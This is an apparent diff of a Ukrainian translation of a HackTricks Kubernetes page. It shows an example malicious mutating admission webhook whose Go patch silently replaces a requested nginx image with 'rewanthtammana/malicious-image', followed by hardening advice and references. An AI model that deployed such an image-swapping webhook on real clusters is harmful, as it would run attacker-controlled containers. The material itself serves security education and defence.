**Приклад з** [**https://blog.rewanthtammana.com/creating-malicious-admission-controllers**](https://blog.rewanthtammana.com/creating-malicious-admission-controllers):
|
||||
```bash
|
||||
@@ -647,9 +666,9 @@ kubectl describe po nginx | grep "Image: "
|
||||
|
||||
Як ви можете бачити на зображенні вище, ми намагалися запустити образ `nginx`, але в кінцевому підсумку виконаний образ - `rewanthtammana/malicious-image`. Що тільки що сталося!!?
|
||||
|
||||
#### Technicalities <a href="#heading-technicalities" id="heading-technicalities"></a>
|
||||
#### Технічні деталі
|
||||
|
||||
Скрипт `./deploy.sh` встановлює контролер доступу з мутацією вебхуків, який модифікує запити до API Kubernetes відповідно до його конфігураційних рядків, впливаючи на спостережувані результати:
|
||||
Скрипт `./deploy.sh` встановлює контролер доступу з мутацією вебхука, який модифікує запити до API Kubernetes відповідно до його конфігураційних рядків, впливаючи на спостережувані результати:
|
||||
```
|
||||
patches = append(patches, patchOperation{
|
||||
Op: "replace",
|
||||
@@ -669,16 +688,16 @@ Value: "rewanthtammana/malicious-image",
|
||||
|
||||
### **Вимкнення автоматичного монтування токенів облікових записів служби**
|
||||
|
||||
- **Поди та облікові записи служби**: За замовчуванням, поди монтують токен облікового запису служби. Для підвищення безпеки Kubernetes дозволяє вимкнути цю функцію автоматичного монтування.
|
||||
- **Поди та облікові записи служби**: За замовчуванням, поди монтують токен облікового запису служби. Для підвищення безпеки Kubernetes дозволяє вимкнення цієї функції автоматичного монтування.
|
||||
- **Як застосувати**: Встановіть `automountServiceAccountToken: false` у конфігурації облікових записів служби або подів, починаючи з версії Kubernetes 1.6.
|
||||
|
||||
### **Обмежене призначення користувачів у RoleBindings/ClusterRoleBindings**
|
||||
|
||||
- **Селективне включення**: Переконайтеся, що лише необхідні користувачі включені в RoleBindings або ClusterRoleBindings. Регулярно перевіряйте та видаляйте нерелевантних користувачів для підтримки високої безпеки.
|
||||
|
||||
### **Ролі, специфічні для простору імен, замість ролей на рівні кластера**
|
||||
### **Ролі, специфічні для простору імен, замість ролей для всього кластера**
|
||||
|
||||
- **Ролі проти ClusterRoles**: Віддавайте перевагу використанню Roles і RoleBindings для дозволів, специфічних для простору імен, замість ClusterRoles і ClusterRoleBindings, які застосовуються на рівні кластера. Цей підхід забезпечує більш точний контроль і обмежує обсяг дозволів.
|
||||
- **Ролі проти ClusterRoles**: Віддавайте перевагу використанню Roles і RoleBindings для дозволів, специфічних для простору імен, замість ClusterRoles і ClusterRoleBindings, які застосовуються до всього кластера. Цей підхід забезпечує більш точний контроль і обмежує обсяг дозволів.
|
||||
|
||||
### **Використовуйте автоматизовані інструменти**
|
||||
|
||||
@@ -699,5 +718,7 @@ https://github.com/aquasecurity/kube-bench
|
||||
- [**https://www.cyberark.com/resources/threat-research-blog/securing-kubernetes-clusters-by-eliminating-risky-permissions**](https://www.cyberark.com/resources/threat-research-blog/securing-kubernetes-clusters-by-eliminating-risky-permissions)
|
||||
- [**https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-1**](https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-1)
|
||||
- [**https://blog.rewanthtammana.com/creating-malicious-admission-controllers**](https://blog.rewanthtammana.com/creating-malicious-admission-controllers)
|
||||
- [**https://kubenomicon.com/Lateral_movement/CoreDNS_poisoning.html**](https://kubenomicon.com/Lateral_movement/CoreDNS_poisoning.html)
|
||||
- [**https://kubenomicon.com/**](https://kubenomicon.com/)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user